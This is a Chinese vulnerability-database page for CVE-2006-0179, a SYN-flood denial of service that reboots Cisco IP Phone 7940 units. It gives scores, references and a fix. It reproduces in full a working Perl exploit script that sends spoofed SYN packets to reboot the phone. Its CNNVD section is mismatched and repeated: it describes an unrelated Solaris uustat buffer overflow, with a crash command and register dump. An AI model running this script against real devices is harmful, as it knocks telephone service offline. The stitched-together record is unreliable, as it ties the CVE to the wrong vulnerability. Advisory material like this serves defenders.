CVE-2006-0179
CVSS5.0
发布时间 :2006-01-11 16:03:00
修订时间 :2011-03-07 00:00:00
NMCOE    

[原文]The Cisco IP Phone 7940 allows remote attackers to cause a denial of service (reboot) via a large amount of TCP SYN packets (syn flood) to arbitrary ports, as demonstrated to port 80.


[CNNVD]Sun Solaris uustat -S命令行参数溢出漏洞(CNNVD-200601-107)

        Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。
        Solaris的/usr/bin/uustat二进制程序中存在缓冲区溢出漏洞,成功利用这个漏洞的攻击者可以完全控制执行函数的返回地址,以uucp用户权限执行任意代码。
        如果"-S"命令行参数后的字符串长度大于或等于1152字节的话,就可能导致二进制程序崩溃。
        下面实例显示缓冲区被溢出,o1寄存器被字母A完全覆盖:
        bash-2.03% ls -l /usr/bin/uustat
        ---s--x--x 1 uucp uucp 62012 Jan 17 16:07 uustat
        bash-2.03$ /usr/bin/uustat -S `perl -e 'print "A"x3000'`
        Segmentation Fault
        bash-2.03$
        (gdb) info registers
        g0 0x0 0
        g1 0xff315e98 -13541736
        g2 0x1cc00 117760
        g3 0x440 1088
        g4 0x0 0
        g5 0x0 0
        g6 0x0 0
        g7 0x0 0
        o0 0xff3276a8 -13470040
        o1 0x41414141 1094795585
        ...

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0179
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0179
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-107
(官方数据源) CNNVD

- 其它链接及资源

http://securitytracker.com/id?1015488
(PATCH)  SECTRACK  1015488
http://secunia.com/advisories/18479
(VENDOR_ADVISORY)  SECUNIA  18479
http://xforce.iss.net/xforce/xfdb/24117
(UNKNOWN)  XF  cisco-ipphone-synflood-dos(24117)
http://www.vupen.com/english/advisories/2006/0202
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0202
http://www.securityfocus.com/bid/16200
(UNKNOWN)  BID  16200
http://www.osvdb.org/22469
(UNKNOWN)  OSVDB  22469
http://www.cisco.com/warp/public/707/cisco-response-20060113-ip-phones.shtml
(VENDOR_ADVISORY)  CISCO  20060113 Response to Cisco IP Phone 7940 DoS Exploit posted on milw0rm.com
http://downloads.securityfocus.com/vulnerabilities/exploits/cisco_ip7940_dos.pl
(UNKNOWN)  MISC  http://downloads.securityfocus.com/vulnerabilities/exploits/cisco_ip7940_dos.pl

- 漏洞信息

Sun Solaris uustat -S命令行参数溢出漏洞
中危 其他
2006-01-11 00:00:00 2007-03-30 00:00:00
远程  
        Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。
        Solaris的/usr/bin/uustat二进制程序中存在缓冲区溢出漏洞,成功利用这个漏洞的攻击者可以完全控制执行函数的返回地址,以uucp用户权限执行任意代码。
        如果"-S"命令行参数后的字符串长度大于或等于1152字节的话,就可能导致二进制程序崩溃。
        下面实例显示缓冲区被溢出,o1寄存器被字母A完全覆盖:
        bash-2.03% ls -l /usr/bin/uustat
        ---s--x--x 1 uucp uucp 62012 Jan 17 16:07 uustat
        bash-2.03$ /usr/bin/uustat -S `perl -e 'print "A"x3000'`
        Segmentation Fault
        bash-2.03$
        (gdb) info registers
        g0 0x0 0
        g1 0xff315e98 -13541736
        g2 0x1cc00 117760
        g3 0x440 1088
        g4 0x0 0
        g5 0x0 0
        g6 0x0 0
        g7 0x0 0
        o0 0xff3276a8 -13470040
        o1 0x41414141 1094795585
        ...

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-101933-1

- 漏洞信息 (1411)

Cisco IP Phone 7940 (Reboot) Denial of Service Exploit (EDBID:1411)
hardware dos
2006-01-10 Verified
0 kokanin
N/A [点击下载]
#!/usr/bin/perl
# This is made for trashing cisco 7940 ip phones. kokanin made/discovered this.
# A packetcount of 1000 and a packetdelay of 0.002 sent to port 80 makes my 
# phone reboot - play with the settings and stuff. PRIVATE PRIVATE PRIVATE!!!
# not private anymore. Vulnerable phones are running ver. 7.0(2.0) using the skinny
# protocol - this is not for the SIP firmware.

use Net::RawIP;
use Time::HiRes;
$pkt = new Net::RawIP;
die "Usage $0 <src> <dst> <target port> <number of pkts> <packet delay>" unless ($ARGV[4]);
$pkt->set({
        ip => {
                saddr => $ARGV[0],
                daddr => $ARGV[1] 
                },
        tcp=> { dest => $ARGV[2],
                syn => 1,
                seq => 0,
                ack => 0}
        });
for(1..$ARGV[3]){ $pkt->set({tcp=>{source=>int(rand(65535))}});Time::HiRes::sleep($ARGV[4]); $pkt->send; };

# milw0rm.com [2006-01-10]
		

- 漏洞信息

22469
Cisco Unified IP Phone 79xx SYN Flood Device Reboot Remote DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Cisco 79xx IP phones contain a flaw that may allow a remote denial of service. The issue is triggered when an attacker initiates a SYN flood against the phone, and will result in loss of availability for the device.

- 时间线

2006-01-10 Unknow
2006-01-10 Unknow

- 解决方案

Upgrade to version 7.1(0.10) or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

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